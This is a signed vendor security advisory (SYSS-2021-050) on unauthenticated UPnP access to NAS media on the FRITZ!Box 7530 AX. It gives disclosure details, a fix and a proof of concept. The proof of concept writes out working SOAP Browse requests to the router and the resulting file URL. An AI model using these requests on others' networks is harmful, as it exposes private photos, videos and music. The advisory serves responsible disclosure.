-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA256
Advisory ID: SYSS-2021-050
Product: FRITZ!Box 7530 AX
Manufacturer: AVM Computersysteme Vertriebs GmbH
Affected Version(s): FRITZ!OS 7.27 and earlier
Tested Version(s): FRITZ!OS 7.27
Vulnerability Type: Missing Authorization (CWE-862)
Risk Level: Low
Solution Status: Open
Manufacturer Notification: 2021-08-02
Solution Date: 2021-08-02
Public Disclosure: 2022-02-15
CVE Reference: Not yet assigned
Authors of Advisory: Moritz Abrell, SySS GmbH
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Overview:
The FRITZ!Box 7530 AX [1] is a multifunctional home router including
many features like Wi-Fi 6, telephony services and others.
The router provides a network-attached storage (NAS), where authenticated
users can store e.g. photos, videos and music. Authentication is required
to access this data via the web application or via SMB. However, streaming
any media data (pictures, videos and music) via Universal Plug and Play (UPnP)
is possible without any authentication.
Due to this issue, unauthenticated attackers with access to the internal
network have read permissions on any media file stored on the NAS.
Since the UPnP standard [2] does not provide for authentication,
this is the expected behavior.
However, the UPnP media server is enabled in the default setting of the FRITZ!Box.
Users could be misled by this and grant access to otherwise protected data.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Vulnerability Details:
To exploit this issue, an attacker with access to the internal network
of the FRITZ!Box 7530 AX, e.g. via Wi-Fi or LAN, can use UPnP with its
protocols and procedures to read media content stored on the NAS service
of the FRITZ!Box without authentication.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Proof of Concept (PoC):
1. By sending the following HTTP POST request to the FRTIZ!Box,
information about the NAS directories and their container IDs will be
obtained:
Request:
POST /MediaServer/ContentDirectory/Control HTTP/1.1
Host: 192.168.178.1:49000
SOAPAction: "urn:schemas-upnp-org:service:ContentDirectory:1#Browse"
Content-Type: text/xml; charset="utf-8"
Content-Length: 321
0
BrowseDirectChildren
Response (shortened):
Bilder
object.container
2. By sending the following HTTP POST request, including the container ID
of a specific directory, the FRTIZ!Box responds with information about
subdirectories and their container IDs:
Request:
POST /MediaServer/ContentDirectory/Control HTTP/1.1
Host: 192.168.178.1:49000
SOAPAction: "urn:schemas-upnp-org:service:ContentDirectory:1#Browse"
Content-Type: text/xml; charset="utf-8"
Content-Length: 335
4:cont1:90:0:0:
BrowseDirectChildren
Response (shortened):
Alle Bilder
object.container
3. This container ID can then be used to get information about media
files in this directory:
Request:
POST /MediaServer/ContentDirectory/Control HTTP/1.1
Host: 192.168.178.1:49000
SOAPAction: "urn:schemas-upnp-org:service:ContentDirectory:1#Browse"
Content-Type: text/xml; charset="utf-8"
Content-Length: 336
4:cont2:100:0:0:
BrowseDirectChildren
Response (shortened):
http://192.168.178.1:49200/IMAGE/DLNA-15-0/Bilder/TOP-SECRET.jpg
4. Now, the TOP-SECRET.jpg picture is accessable at the URL
"http://192.168.178.1:49200/IMAGE/DLNA-15-0/Bilder/TOP-SECRET.jpg"
without authentication.
Alternatively, the open-source tool gupnp-av-cp [4] could be used,
which provides a graphical user interface and simplifies the exploitation
of this issue.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Solution:
SySS GmbH recommends disabling the media server function.
For this, go to "Home Network > Media Server > Settings" at the
web interface of the FRITZ!Box. Then uncheck the checkbox
"Media Server enabled" and apply the configuration.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Disclosure Timeline:
2021-07-13: Vulnerability discovered
2021-08-02: Vulnerability reported to manufacturer
2021-08-04: The manufacturer indicates that this is the desired behavior
and therefore no further measures are planned.
2022-02-15: Public disclosure
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
References:
[1] Product Website
https://en.avm.de/products/fritzbox/fritzbox-7530-ax/
[2] UPnP Standards
https://openconnectivity.org/developer/specifications/upnp-resources/upnp/#standards
[3] SySS Responsible Disclosure Policy
https://www.syss.de/en/news/responsible-disclosure-policy/
[4] GUPnP Tool Website:
https://wiki.gnome.org/Projects/GUPnP
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Credits:
This security vulnerability was found by Moritz Abrell of SySS GmbH.
E-Mail: moritz.abrell@syss.de
Public Key: https://www.syss.de/fileadmin/dokumente/PGPKeys/Moritz_Abrell.asc
Key Fingerprint: 2927 7EB6 1A20 0679 79E9 87E6 AE0C 9BF8 F134 8B53
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Disclaimer:
The information provided in this security advisory is provided "as is"
and without warranty of any kind. Details of this security advisory may
be updated in order to provide as accurate information as possible. The
latest version of this security advisory is available on the SySS website.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Copyright:
Creative Commons - Attribution (by) - Version 3.0
URL: http://creativecommons.org/licenses/by/3.0/deed.en
-----BEGIN PGP SIGNATURE-----
iQIzBAEBCAAdFiEEKSd+thogBnl56Yfmrgyb+PE0i1MFAmICUNIACgkQrgyb+PE0
i1M8LRAAmKoowDak1HXMZ8kpVKj0e/DgVOwf1OAZmAi4dZ1vmbNiQkkZCcdds2ls
V8/uW4J2eJxVf9hUpoY3GV8T11mMxJbgOFqLKF3TpL48ZOobGkP1+X2n307p0cXH
HLbo+bj0vGvIe+PAaZLZn9PbhaP/2qZTzALNhVQ5SaCiEuc/V8lWcNb7A1Ig8IqV
Yuz7l1iC6XS7M5w/nFewv3BKNAHQ1rScWZNgHhZ8PSUiTsjNJ7qCu99o4Q//Vf5t
LHBtX+sO7zxqnU9ukyspKs7YkLOUhdw0m8rO6zbqWRH398Etr/u5pRin2W7wABX6
/8VB/SNSgI/MzU+ItPC+6eLEZGOZqDB2NJ5TJXZR/KyXEux7IVu5KQ8aULLNRYkl
uVgFhMEFDXe6hTEUFBvMiRkT/4BlyyleY71HprcfHq5joRWbboJcrsLjf8IyYL82
CLFpDSb27jzfWTtQ48ij7aEBBGAJrX9ER7rBW87Xxs0ft0mUY4d6c4JDpeUMxb14
ZSimjTDplRwMwzKzbdSbik+v977adoFQ/1OOk/MfoACsurYj3D76ohnBea+ORDGr
vpZ7FDNZ1lfrpc+KgXqCKnVwK/o1g7nOypYJmhoD190pb7o52sBO8M+OfMhOR6gR
XA4Fx7ePsAC50W/UWE6ehsaYMwcFig7uqACceSc9hN2y152cZTU=
=pfSg
-----END PGP SIGNATURE-----